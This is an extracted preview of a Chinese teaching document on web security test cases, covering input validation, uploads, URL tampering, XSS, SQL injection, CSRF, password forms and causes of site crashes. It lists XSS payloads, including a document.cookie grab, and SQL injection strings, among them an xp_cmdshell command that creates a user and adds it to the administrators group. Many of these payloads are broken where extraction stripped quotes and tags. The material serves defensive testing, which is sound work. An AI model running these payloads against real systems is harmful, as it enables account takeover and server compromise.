WEB安全性測(cè)試測(cè)試用例基礎(chǔ)教學(xué)文稿_第1頁(yè)
WEB安全性測(cè)試測(cè)試用例基礎(chǔ)教學(xué)文稿_第2頁(yè)
WEB安全性測(cè)試測(cè)試用例基礎(chǔ)教學(xué)文稿_第3頁(yè)
WEB安全性測(cè)試測(cè)試用例基礎(chǔ)教學(xué)文稿_第4頁(yè)
WEB安全性測(cè)試測(cè)試用例基礎(chǔ)教學(xué)文稿_第5頁(yè)
已閱讀5頁(yè),還剩28頁(yè)未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡(jiǎn)介

1、Good is good, but better carries it.精益求精,善益求善。WEB安全性測(cè)試測(cè)試用例基礎(chǔ)-建立整體的威脅模型,測(cè)試溢出漏洞、信息泄漏、錯(cuò)誤處理、HYPERLINK/html/18/category-catid-418.htmlt_blankSQL注入、身份驗(yàn)證和授權(quán)錯(cuò)誤.輸入驗(yàn)證客戶端驗(yàn)證服務(wù)器端驗(yàn)證(禁用腳本調(diào)試,禁用Cookies)1.輸入很大的數(shù)(如4,294,967,269),輸入很小的數(shù)(負(fù)數(shù))2.輸入超長(zhǎng)字符,如對(duì)輸入文字長(zhǎng)度有限制,則嘗試超過(guò)限制,剛好到達(dá)限制字?jǐn)?shù)時(shí)有何反應(yīng)3.輸入特殊字符,如:!#$%&*()_+:”|4.輸入中英文空格,輸入字符

2、串中間含空格,輸入首尾空格5.輸入特殊字符串NULL,null,0 x0d0 x0a6.輸入正常字符串7.輸入與要求不同類型的字符,如:要求輸入數(shù)字則檢查正值,負(fù)值,零值(正零,負(fù)零),小數(shù),字母,空值;要求輸入字母則檢查輸入數(shù)字8.輸入html和javascript代碼9.對(duì)于像回答數(shù)這樣需檢驗(yàn)數(shù)字正確性的測(cè)試點(diǎn),不僅對(duì)比其與問(wèn)題最終頁(yè)的回答數(shù),還要對(duì)回答進(jìn)行添加刪除等操作后查看變化例如:1.輸入”gfhd,看是否出錯(cuò);2.輸入,看是否出現(xiàn)文本框;3.輸入alert(“提示”)看是否出現(xiàn)提示。關(guān)于上傳:1.上傳文件是否有格式限制,是否可以上傳exe文件;2.上傳文件是否有大小限制,上傳太大的

3、文件是否導(dǎo)致異常錯(cuò)誤,上傳0K的文件是否會(huì)導(dǎo)致異常錯(cuò)誤,上傳并不存在的文件是否會(huì)導(dǎo)致異常錯(cuò)誤;3.通過(guò)修改擴(kuò)展名的方式是否可以繞過(guò)格式限制,是否可以通過(guò)壓包方式繞過(guò)格式限制;4.是否有上傳空間的限制,是否可以超過(guò)空間所限制的大小,如將超過(guò)空間的大文件拆分上傳是否會(huì)出現(xiàn)異常錯(cuò)誤。5.上傳文件大小大于本地剩余空間大小,是否會(huì)出現(xiàn)異常錯(cuò)誤。6.關(guān)于上傳是否成功的判斷。上傳過(guò)程中,中斷。程序是否判斷上傳是否成功。7.對(duì)于文件名中帶有中文字符,特殊字符等的文件上傳。下載:避免輸入:.web.修改命名后綴。關(guān)于URL:1.某些需登錄后或特殊用戶才能進(jìn)入的頁(yè)面,是否可以通過(guò)直接輸入網(wǎng)址的方式進(jìn)入;2.對(duì)于帶

4、參數(shù)的網(wǎng)址,惡意修改其參數(shù),(若為數(shù)字,則輸入字母,或很大的數(shù)字,或輸入特殊字符等)后打開(kāi)網(wǎng)址是否出錯(cuò),是否可以非法進(jìn)入某些頁(yè)面;3.搜索頁(yè)面等url中含有關(guān)鍵字的,輸入html代碼或JavaScript看是否在頁(yè)面中顯示或執(zhí)行。4.輸入善意字符。UBB:url=http:/www.*.com你的網(wǎng)站/url1.試著用各種方式輸入U(xiǎn)BB代碼,比如代碼不完整,代碼嵌套等等.2.在UBB代碼中加入屬性,如樣式,事件等屬性,看是否起作用3.輸入編輯器中不存在的UBB代碼,看是否起作用url=javascript:alert(hello)鏈接/urlemail=javascript:alert(hel

5、lo)EMail/emailemail=yangtaoSTYLE=background-image:url(javascript:alert(XSS)yangtao/emailimg/2007713015578593_03.jpgstyle=background-image:url(javascript:alert(alert(xss)/imgimg/photo/2007-7/2007713015578593_03.jpgonmouseover=alert(hello);/imgbSTYLE=background-image:url(javascript:alert(XSS)一首詩(shī)酸澀澀服務(wù)網(wǎng)

6、/biSTYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/iu一二三四五六七北京市/ufont=微軟雅黑STYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/fontsize=4STYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/sizecolor=RedSTYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/coloralign=cent

7、erSTYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/alignfloat=leftSTYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/floatfont=微軟雅黑STYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/fontsize=4STYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/sizecolor=RedSTYLE=back

8、ground-image:url(javascript:alert(XSS)一二三四五六七北京市/coloralign=centerSTYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/alignlist=1*一二三四五六七北京市/listindent一二三四五六七北京市/indentfloat=leftSTYLE=background-image:url(javascript:alert(XSS)一二三四五六七北京市/floatmedia=ra,400,300,0/posttopic.aspx?forumid=109/media

9、輸出編碼常用的測(cè)試輸入語(yǔ)句有:input/alert(hello);1.jpgonmouseover=alert(xss)alert(xss);http:/xxx;alert(xss);var/a=a”xss&a=”;b=”;alert(/xss/);/”“”“”“”“”title=”對(duì)輸出數(shù)據(jù)到輸出數(shù)據(jù)的對(duì)比,看是否出現(xiàn)問(wèn)題。防止SQL注入Admin-or-and()execinsert*%chrmidand1=1;And1=1;aNd1=1;char(97)char(110)char(100)char(49)char(61)char(49);%20AND%201=2and1=1;And1=

10、1;aNd1=1;and1=2;and1=2and2=2anduser0and(selectcount(*)fromsysobjects)0and(selectcount(*)frommsysobjects)0and(SelectCount(*)fromAdmin)=0and(selecttop1len(username)fromAdmin)0(username已知字段);execmaster.xp_cmdshell“netusernamepassword/add”;execmaster.xp_cmdshell“netlocalgroupnameadministrators/add”and0(

11、selectcount(*)fromadmin)簡(jiǎn)單的如wherextype=U,字符U對(duì)應(yīng)的ASCII碼是85,所以可以用wherextype=char(85)代替;如果字符是中文的,比如wherename=用戶,可以用wherename=nchar(29992)+nchar(25143)代替??缯灸_本攻擊(XSS)對(duì)于XSS,只需檢查HTML輸出并看看您輸入的內(nèi)容在什么地方。它在一個(gè)HREF標(biāo)記中嗎?是否在IFRAME標(biāo)記中?它在CLSID標(biāo)記中嗎?在IMGSRC中嗎?某些Flash內(nèi)容的PARAMNAME是怎樣的?HYPERLINKmailto:!#$%&*()_+,./?;-!#$%&

12、*()_+,./?;-%3Cinput/%3E%3Cscript%3Ealert(XSS)%3C/script%3Einput/alert(xss)alert(xss);alert(xss)javascript:alert(/xss/)javascriphttp:/xxx;alert(xss);var/a=a”xss&alert(XSS)%22%27AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27)%22%20OS%22%22%2Balert(%27XSS%27)%2B%22a?alert(Vulnerable)&:var

13、from=$!rundata.Parameters.getString(from);varfrom=”;hackerFunction(document.cookie);”;/publish/template/template1010/?CID=qingke&tid=tid1010&cityName=天津alert(hello)&nid=MAPBXITBJRQMYWJRXPCBX跨站請(qǐng)求偽造(CSRF)同個(gè)瀏覽器打開(kāi)兩個(gè)頁(yè)面,一個(gè)頁(yè)面權(quán)限失效后,另一個(gè)頁(yè)面是否可操作成功。當(dāng)頁(yè)面沒(méi)有CHECKCODE時(shí),查看頁(yè)面源代碼,查是是否有token。如果頁(yè)面完全是展示頁(yè)面,是不會(huì)有token的。用戶注冊(cè)只

14、從用戶名和密碼角度寫(xiě)了幾個(gè)要考慮的測(cè)試點(diǎn),如果需求中明確規(guī)定了安全問(wèn)題,Email,出生日期,地址,性別等等一系列的格式和字符要求,那就都要寫(xiě)用例測(cè)了以等價(jià)類劃分和邊界值法來(lái)分析1.填寫(xiě)符合要求的數(shù)據(jù)注冊(cè):用戶名字和密碼都為最大長(zhǎng)度(邊界值分析,取上點(diǎn))2.填寫(xiě)符合要求的數(shù)據(jù)注冊(cè):用戶名字和密碼都為最小長(zhǎng)度(邊界值分析,取上點(diǎn))3.填寫(xiě)符合要求的數(shù)據(jù)注冊(cè):用戶名字和密碼都是非最大和最小長(zhǎng)度的數(shù)據(jù)(邊界值分析,取內(nèi)點(diǎn))4.必填項(xiàng)分別為空注冊(cè)5.用戶名長(zhǎng)度大于要求注冊(cè)1位(邊界值分析,取離點(diǎn))6.用戶名長(zhǎng)度小于要求注冊(cè)1位(邊界值分析,取離點(diǎn))7.密碼長(zhǎng)度大于要求注冊(cè)1位(邊界值分析,取離點(diǎn))8.

15、密碼長(zhǎng)度小于要求注冊(cè)1位(邊界值分析,取離點(diǎn))9.用戶名是不符合要求的字符注冊(cè)(這個(gè)可以劃分幾個(gè)無(wú)效的等價(jià)類,一般寫(xiě)一兩個(gè)就行了,如含有空格,#等,看需求是否允許吧)10.密碼是不符合要求的字符注冊(cè)(這個(gè)可以劃分幾個(gè)無(wú)效的等價(jià)類,一般寫(xiě)一兩個(gè)就行了)11.兩次輸入密碼不一致(如果注冊(cè)時(shí)候要輸入兩次密碼,那么這個(gè)是必須的)12.重新注冊(cè)存在的用戶13.改變存在的用戶的用戶名和密碼的大小寫(xiě),來(lái)注冊(cè)。(有的需求是區(qū)分大小寫(xiě),有的不區(qū)分)14.看是否支持tap和enter鍵等;密碼是否可以復(fù)制粘貼;密碼是否以*之類的加秘符號(hào)顯示備注:邊界值的上點(diǎn)、內(nèi)點(diǎn)和離點(diǎn)大家應(yīng)該都知道吧,呵呵,這里我就不細(xì)說(shuō)了修改

16、密碼當(dāng)然具體情況具體分析哈不能一概而論實(shí)際測(cè)試中可能只用到其中幾條而已,比如銀行卡密碼的修改,就不用考慮英文和非法字符,更不用考慮那些之類的快捷鍵。而有的需要根據(jù)需求具體分析了,比如連續(xù)出錯(cuò)多少次出現(xiàn)的提示,和一些軟件修改密碼要求一定時(shí)間內(nèi)有一定的修改次數(shù)限制等等。1.不輸入舊密碼,直接改密碼2.輸入錯(cuò)誤舊密碼3.不輸入確認(rèn)新密碼4.不輸入新密碼5.新密碼和確認(rèn)新密碼不一致6.新密碼中有空格7.新密碼為空8.新密碼為符合要求的最多字符9.新密碼為符合要求的最少字符10.新密碼為符合要求的非最多和最少字符11.新密碼為最多字符-112.新密碼為最少字符+113.新密碼為最多字符+114.新密碼為

17、最少字符-115.新密碼為非允許字符(如有的密碼要求必須是英文和數(shù)字組成,那么要試漢字和符號(hào)等)16.看是否支持tap和enter鍵等;密碼是否可以復(fù)制粘貼;密碼是否以*之類的加秘符號(hào)17.看密碼是否區(qū)分大小寫(xiě),新密碼中英文小寫(xiě),確認(rèn)密碼中英文大寫(xiě)18.新密碼與舊密碼一樣能否修改成功另外一些其他的想法如下:1要測(cè)試所有規(guī)約中約定可以輸入的特殊字符,字母,和數(shù)字,要求都可以正常輸入、顯示正常和添加成功2關(guān)注規(guī)約中的各種限制,比如長(zhǎng)度,大否支持大小寫(xiě)。3考慮各種特殊情況,比如添加同名用戶,系統(tǒng)是否正確校驗(yàn)給出提示信息,管理員帳戶是否可以刪除,因?yàn)橛行┫到y(tǒng)管理員擁有最大權(quán)限,一旦刪除管理員帳戶,就不

18、能在前臺(tái)添加,這給最終用戶會(huì)帶來(lái)很多麻煩。比較特殊的是,當(dāng)用戶名中包括了特殊字符,那么對(duì)這類用戶名的添加同名,修改,刪除,系統(tǒng)是否能夠正確實(shí)現(xiàn),我就遇到了一個(gè)系統(tǒng),添加同名用戶時(shí),如果以前的用戶名沒(méi)有特殊字符,系統(tǒng)可以給出提示信息,如果以前的用戶名包含特殊字符,就不校驗(yàn)在插入數(shù)據(jù)庫(kù)的時(shí)候報(bào)錯(cuò)。后來(lái)查到原因了,原來(lái)是在java中拼SQL語(yǔ)句的時(shí)候,因?yàn)橛衉,所以就調(diào)用了一個(gè)方法在“_”,前面加了一個(gè)轉(zhuǎn)義字符,后來(lái)發(fā)現(xiàn)不該調(diào)用這個(gè)方法。所以去掉就好了。所以對(duì)待輸入框中的特殊字符要多關(guān)注。4數(shù)值上的長(zhǎng)度之類的,包括出錯(cuò)信息是否合理5特殊字符:比如。/這些是否會(huì)造成系統(tǒng)崩潰6注入式bug:比如密碼輸入

19、個(gè)or1=17登錄后是否會(huì)用明文傳遞參數(shù)8訪問(wèn)控制(不知道這個(gè)算不算):登錄后保存里面的鏈接,關(guān)了瀏覽器直接復(fù)制鏈接看能不能訪問(wèn)。輸入框測(cè)試1驗(yàn)證輸入與輸出的是否信息一致;2輸入框之前的標(biāo)題是否正確;3對(duì)特殊字符的處理,尤其是輸入信息徐需要發(fā)送到數(shù)據(jù)庫(kù)的。特殊字符包括:(單引號(hào))、(雙引號(hào))、(中括號(hào))、()(小括號(hào))、(大括號(hào))、;(分號(hào))、(大于小于號(hào))4對(duì)輸入框輸入超過(guò)限制的字符的處理,一般非特殊的沒(méi)有作出限制的在255byte左右;5輸入框本身的大小、長(zhǎng)度;6不同內(nèi)碼的字符的輸入;7對(duì)空格、TAB字符的處理機(jī)制;8字符本身顯示的顏色;9密碼輸入窗口轉(zhuǎn)換成星號(hào)或其它符號(hào);10密碼輸入框?qū)?/p>

20、其中的信息進(jìn)行加密,防止采用破解星號(hào)的方法破解;11按下ctrl和alt鍵對(duì)輸入框的影響;12對(duì)于新增、修改、注冊(cè)時(shí)用的輸入框,有限制的,應(yīng)該輸入時(shí)作出提示,指出不允許的或者標(biāo)出允許的;13對(duì)于有約束條件要求的輸入框應(yīng)當(dāng)在條件滿足時(shí)輸入框的狀態(tài)發(fā)生相應(yīng)的改變,比如選了湖南就應(yīng)該列出湖南下面的市,或者選了某些條件之后,一些輸入框會(huì)關(guān)閉或轉(zhuǎn)為只讀狀態(tài);14輸入類型;根據(jù)前面的欄位標(biāo)題判斷該輸入框應(yīng)該輸入哪些內(nèi)容算是合理的。例如,是否允許輸入數(shù)字或字母,不允許輸入其他字符等。15.輸入長(zhǎng)度;數(shù)據(jù)庫(kù)字段有長(zhǎng)度定義,當(dāng)輸入過(guò)長(zhǎng)時(shí),提交數(shù)據(jù)是否會(huì)出錯(cuò)。16.輸入狀態(tài);當(dāng)處于某種狀態(tài)下,輸入框是否處于可寫(xiě)或

21、非可寫(xiě)狀態(tài)。例如,系統(tǒng)自動(dòng)給予的編號(hào)等欄位作為唯一標(biāo)識(shí),當(dāng)再次處于編輯狀態(tài)下,輸入框欄位應(yīng)處于不可寫(xiě)狀態(tài),如果可寫(xiě)對(duì)其編輯的話,可能會(huì)造成數(shù)據(jù)重復(fù)引起沖突等。17如果是會(huì)進(jìn)行數(shù)據(jù)庫(kù)操作的輸入框,還可以考慮輸入SQL中的一些特殊符號(hào)如單引號(hào)等,有時(shí)會(huì)有意想不到的錯(cuò)誤出現(xiàn)18輸入類型輸入長(zhǎng)度是否允許復(fù)制粘貼為空的情況空格的考慮半角全角測(cè)試對(duì)于密碼輸入框要考慮顯示的內(nèi)容是*輸入錯(cuò)誤時(shí)的提示信息及提示信息是否準(zhǔn)確19可以先了解你要測(cè)試的輸入框在軟件系統(tǒng)的某個(gè)功能中所扮演的角色,然后了解其具體的輸入條件,在將輸入條件按照有效等價(jià)類,無(wú)效等價(jià)類,邊界值等方法進(jìn)行測(cè)試用例的設(shè)計(jì)。20關(guān)鍵字有大小寫(xiě)混合的情況

22、;21關(guān)鍵字中含有一個(gè)或多個(gè)空格的情況,包括前空格,中間空格(多個(gè)關(guān)鍵字),和后空格;22關(guān)鍵字中是否支持通配符的情況(視功能而定);23關(guān)鍵字的長(zhǎng)度分別為9、10、11個(gè)字符時(shí)的情況;24關(guān)鍵字是valid,但是沒(méi)有匹配搜索結(jié)果的情況;25輸入html的標(biāo)簽會(huì)出現(xiàn)哪些問(wèn)題?輸入會(huì)出現(xiàn)什么問(wèn)題呢?(這條是我自己發(fā)現(xiàn)的,在網(wǎng)上也沒(méi)找到類似的東東,呵呵,大家湊合著看吧)安全測(cè)試方面:給出一些特別的關(guān)鍵字,比如or1=1,這樣的關(guān)鍵字如果不被處理就直接用到數(shù)據(jù)庫(kù)查詢中去,后果可想而知。用戶體驗(yàn)相關(guān)我登錄失敗的時(shí)候沒(méi)有任何提示,這沒(méi)什么,反正提示也只是說(shuō)失敗進(jìn)去后發(fā)現(xiàn)顏色變更很強(qiáng)烈刺得我一眨眼,不過(guò)多

23、看幾次就習(xí)慣了。點(diǎn)擊某個(gè)鏈接的時(shí)候出現(xiàn)錯(cuò)誤頁(yè)面,刷新后就好了,難道是隨機(jī)錯(cuò)誤?保存文字的時(shí)候沒(méi)有成功提示,不過(guò)能成功保存就算了。瀏覽記錄的時(shí)候竟然出現(xiàn)錯(cuò)誤頁(yè)面,原來(lái)我沒(méi)有選記錄就瀏覽了,我自己操作不規(guī)范嘛。刪除記錄的時(shí)候發(fā)現(xiàn)選錯(cuò)了,想取消的時(shí)候卻提示刪除成功,都沒(méi)有確認(rèn)提示,只能下次看仔細(xì)點(diǎn)了。查詢時(shí)字母鍵被茶杯壓住了多輸了點(diǎn)字符,竟然出現(xiàn)錯(cuò)誤頁(yè)面,下次把東西整理好。無(wú)聊隨便點(diǎn)點(diǎn)幾個(gè)鏈接,竟然沒(méi)有反應(yīng),既然不用,那就不要做出來(lái)嘛??纯醋约荷蟼鞯膱D片效果如何,這個(gè)怎么不顯示?多試幾次發(fā)現(xiàn)名字不包含中文就好了,下次注意下。改改字體字號(hào)顏色美化環(huán)境嘛,怎么格式那里不顯示正確的字體字號(hào)呢,將就用吧。這

24、里的記錄條數(shù)怎么這么多?。吭瓉?lái)是沒(méi)有刪除按鈕,看來(lái)下次不能隨便加了。這個(gè)結(jié)束時(shí)間怎么在開(kāi)始時(shí)間前?。吭瓉?lái)沒(méi)有進(jìn)行控制,下面的人執(zhí)行時(shí)還是自己改過(guò)來(lái)吧。上次我在這里看見(jiàn)的圖片呢?刷新后就出來(lái)了,怎么和我玩捉迷藏呢?多輸了點(diǎn)內(nèi)容,保存時(shí)候提示太多了,點(diǎn)確定后發(fā)現(xiàn)被清空了,我一個(gè)小時(shí)的工作啊!這張圖片真不錯(cuò),但是按鈕呢,按鈕呢?按鈕被擠掉了我怎么編輯啊。聽(tīng)說(shuō)F5是刷新點(diǎn)一下看看。怎么好像變成了登錄界面?剛學(xué)了怎么用TAB鍵,確實(shí)很方便。TAB一下。跑哪去了,怎么一片空白啊?玩游戲的人點(diǎn)擊速度那么快,我也來(lái)試試。怎么一雙擊就出錯(cuò)了?我找錯(cuò)別字是很厲害的,這不就發(fā)現(xiàn)“同意”寫(xiě)成了“統(tǒng)一”。這里提示只能輸

25、入1100,我偏要輸入9999保存看看,怎么系統(tǒng)不能用了?這里一點(diǎn)擊就出現(xiàn)IE錯(cuò)誤,硬是不彈出我需要的窗口。這個(gè)查詢按鈕怎么灰掉了?這么多記錄讓我一頁(yè)一頁(yè)翻過(guò)去找啊。上傳第二個(gè)附件的時(shí)候怎么把第一個(gè)擠掉了啊,會(huì)擠掉也要提示一下嘛。一個(gè)頁(yè)面上打開(kāi)的記錄太多了,變體都用省略了,要是鼠標(biāo)放上去浮動(dòng)顯示完整標(biāo)題就方便多了。這幾條記錄有依存關(guān)系,刪了一條其他就沒(méi)了,提示都沒(méi)有,早知道我就用編輯了這條記錄怎么好像是昨天的,我記得今天更新了?。吭瓉?lái)編輯后的記錄沒(méi)有傳到引用的地方。最最奇怪的是昨天上傳時(shí)候正常的圖片今天就不能顯示了。我記得沒(méi)有只能顯示一天的功能?。窟@里怎么沒(méi)有任何按鈕呢,看手冊(cè)才知道竟然要用右

26、鍵進(jìn)行操作,怎么突然冒出個(gè)異類啊?這里怎么能增加兩條相同的記錄呢?不控制一下天知道手下那些愣頭青會(huì)做出什么來(lái)。這里的菜單一層一層又一層,足足有五層,把我頭都繞暈了我記得哪里說(shuō)過(guò)最好不要超過(guò)三層的。這個(gè)界面看起來(lái)怎么這么別扭啊,是字體太大了,是按鈕太小了,還是功能太多了,怎么不是管理員登錄進(jìn)來(lái)也能管理啊,那我這個(gè)管理員的身份不是多此一舉嗎?刪除的時(shí)候提示Error,幸虧我英語(yǔ)水平好,可是你換成中文不行嗎?這條記錄不是刪除了嗎,怎么還能引用啊,到時(shí)候出錯(cuò)了怎么辦,難道還要我記住刪了那些記錄?經(jīng)過(guò)精心編輯,我發(fā)了一條通知,怎么用普通用戶查看的時(shí)候是默認(rèn)的字體字號(hào)啊?這幾個(gè)頁(yè)面上的當(dāng)前日期怎么是固定不

27、變的啊,這都是去年的日期了,不會(huì)是開(kāi)發(fā)時(shí)候的吧。讓W(xué)eb站點(diǎn)崩潰最常見(jiàn)的七大原因磁盤(pán)已滿導(dǎo)致系統(tǒng)無(wú)法正常運(yùn)行的最可能的原因是磁盤(pán)已滿。一個(gè)好的網(wǎng)絡(luò)管理員會(huì)密切關(guān)注磁盤(pán)的使用情況,隔一定的時(shí)間,就需要將磁盤(pán)上的一些負(fù)載轉(zhuǎn)存到備份存儲(chǔ)介質(zhì)中(例如磁帶)。日志文件會(huì)很快用光所有的磁盤(pán)空間。Web服務(wù)器的日志文件、SQL*Net的日志文件、JDBC日志文件,以及應(yīng)用程序服務(wù)器日志文件均與內(nèi)存泄漏有同等的危害??梢圆扇〈胧⑷罩疚募4嬖谂c操作系統(tǒng)不同的文件系統(tǒng)中。日志文件系統(tǒng)空間已滿時(shí)Web服務(wù)器也會(huì)被掛起,但機(jī)器自身被掛起的幾率已大大減低。C指針錯(cuò)誤用C或C+編寫(xiě)的程序,如Web服務(wù)器API模塊,有

28、可能導(dǎo)致系統(tǒng)的崩潰,因?yàn)橹灰g接引用指針(即,訪問(wèn)指向的內(nèi)存)中出現(xiàn)一個(gè)錯(cuò)誤,就會(huì)導(dǎo)致操作系統(tǒng)終止所有程序。另外,使用了糟糕的C指針的Java模擬量(analog)將訪問(wèn)一個(gè)空的對(duì)象引用。Java中的空引用通常不會(huì)導(dǎo)致立刻退出JVM,但是前提是程序員能夠使用異常處理方法恰當(dāng)?shù)靥幚礤e(cuò)誤。在這方面,Java無(wú)需過(guò)多的關(guān)注,但使用Java對(duì)可靠性進(jìn)行額外的度量則會(huì)對(duì)性能產(chǎn)生一些負(fù)面影響。內(nèi)存泄漏C/C+程序還可能產(chǎn)生另一個(gè)指針問(wèn)題:丟失對(duì)已分配內(nèi)存的引用。當(dāng)內(nèi)存是在子程序中被分配時(shí),通常會(huì)出現(xiàn)這種問(wèn)題,其結(jié)果是程序從子程序中返回時(shí)不會(huì)釋放內(nèi)存。如此一來(lái),對(duì)已分配的內(nèi)存的引用就會(huì)丟失,只要操作系統(tǒng)還在

29、運(yùn)行中,則進(jìn)程就會(huì)一直使用該內(nèi)存。這樣的結(jié)果是,曾占用更多的內(nèi)存的程序會(huì)降低系統(tǒng)性能,直到機(jī)器完全停止工作,才會(huì)完全清空內(nèi)存。解決方案之一是使用代碼分析工具(如Purify)對(duì)代碼進(jìn)行仔細(xì)分析,以找出可能出現(xiàn)的泄漏問(wèn)題。但這種方法無(wú)法找到由其他原因引起的庫(kù)中的泄漏,因?yàn)閹?kù)的源代碼是不可用的。另一種方法是每隔一段時(shí)間,就清除并重啟進(jìn)程。Apache的Web服務(wù)器就會(huì)因這個(gè)原因創(chuàng)建和清除子進(jìn)程。雖然Java本身并無(wú)指針,但總的說(shuō)來(lái),與C程序相比,Java程序使用內(nèi)存的情況更加糟糕。在Java中,對(duì)象被頻繁創(chuàng)建,而直到所有到對(duì)象的引用都消失時(shí),垃圾回收程序才會(huì)釋放內(nèi)存。即使運(yùn)行了垃圾回收程序,也只會(huì)

30、將內(nèi)存還給虛擬機(jī)VM,而不是還給操作系統(tǒng)。結(jié)果是:Java程序會(huì)用光給它們的所有堆,從不釋放。由于要保存實(shí)時(shí)(JustInTime,JIT)編譯器產(chǎn)生的代碼,Java程序的大小有時(shí)可能會(huì)膨脹為最大堆的數(shù)倍之巨。還有一個(gè)問(wèn)題,情況與此類似。從連接池分配一個(gè)數(shù)據(jù)庫(kù)連接,而無(wú)法將已分配的連接還回給連接池。一些連接池有活動(dòng)計(jì)時(shí)器,在維持一段時(shí)間的靜止?fàn)顟B(tài)之后,計(jì)時(shí)器會(huì)釋放掉數(shù)據(jù)庫(kù)連接,但這不足以緩解糟糕的代碼快速泄漏數(shù)據(jù)庫(kù)連接所造成的資源浪費(fèi)。進(jìn)程缺乏文件描述符如果已為一臺(tái)Web服務(wù)器或其他關(guān)鍵進(jìn)程分配了文件描述符,但它卻需要更多的文件描述符,則服務(wù)器或進(jìn)程會(huì)被掛起或報(bào)錯(cuò),直至得到了所需的文件描述符為

31、止。文件描述符用來(lái)保持對(duì)開(kāi)放文件和開(kāi)放套接字的跟蹤記錄,開(kāi)放文件和開(kāi)放套接字是Web服務(wù)器很關(guān)鍵的組成部分,其任務(wù)是將文件復(fù)制到網(wǎng)絡(luò)連接。默認(rèn)時(shí),大多數(shù)shell有64個(gè)文件描述符,這意味著每個(gè)從shell啟動(dòng)的進(jìn)程可以同時(shí)打開(kāi)64個(gè)文件和網(wǎng)絡(luò)連接。大多數(shù)shell都有一個(gè)內(nèi)嵌的ulimit命令可以增加文件描述符的數(shù)目。線程死鎖由多線程帶來(lái)的性能改善是以可靠性為代價(jià)的,主要是因?yàn)檫@樣有可能產(chǎn)生線程死鎖。線程死鎖時(shí),第一個(gè)線程等待第二個(gè)線程釋放資源,而同時(shí)第二個(gè)線程又在等待第一個(gè)線程釋放資源。我們來(lái)想像這樣一種情形:在人行道上兩個(gè)人迎面相遇,為了給對(duì)方讓道,兩人同時(shí)向一側(cè)邁出一步,雙方無(wú)法通過(guò),又同時(shí)向另一側(cè)邁出一步,這樣還是無(wú)法通過(guò)。雙方都以同樣的邁步方式堵住了對(duì)方的去路。假設(shè)這種情況一直持續(xù)下去,這樣就不難理解為何會(huì)發(fā)生死鎖現(xiàn)象了。解決死鎖沒(méi)有簡(jiǎn)單的方法,這是因?yàn)槭咕€程產(chǎn)生這種問(wèn)題是很具體的情況,而且往往有很高的負(fù)載。大多數(shù)軟件測(cè)試產(chǎn)生不了足夠多的負(fù)載,所以不可能暴露所有的線程錯(cuò)誤。在每一種使用線程的語(yǔ)言中都存在線程

溫馨提示

  • 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒(méi)有圖紙預(yù)覽就沒(méi)有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。

最新文檔

評(píng)論

0/150

提交評(píng)論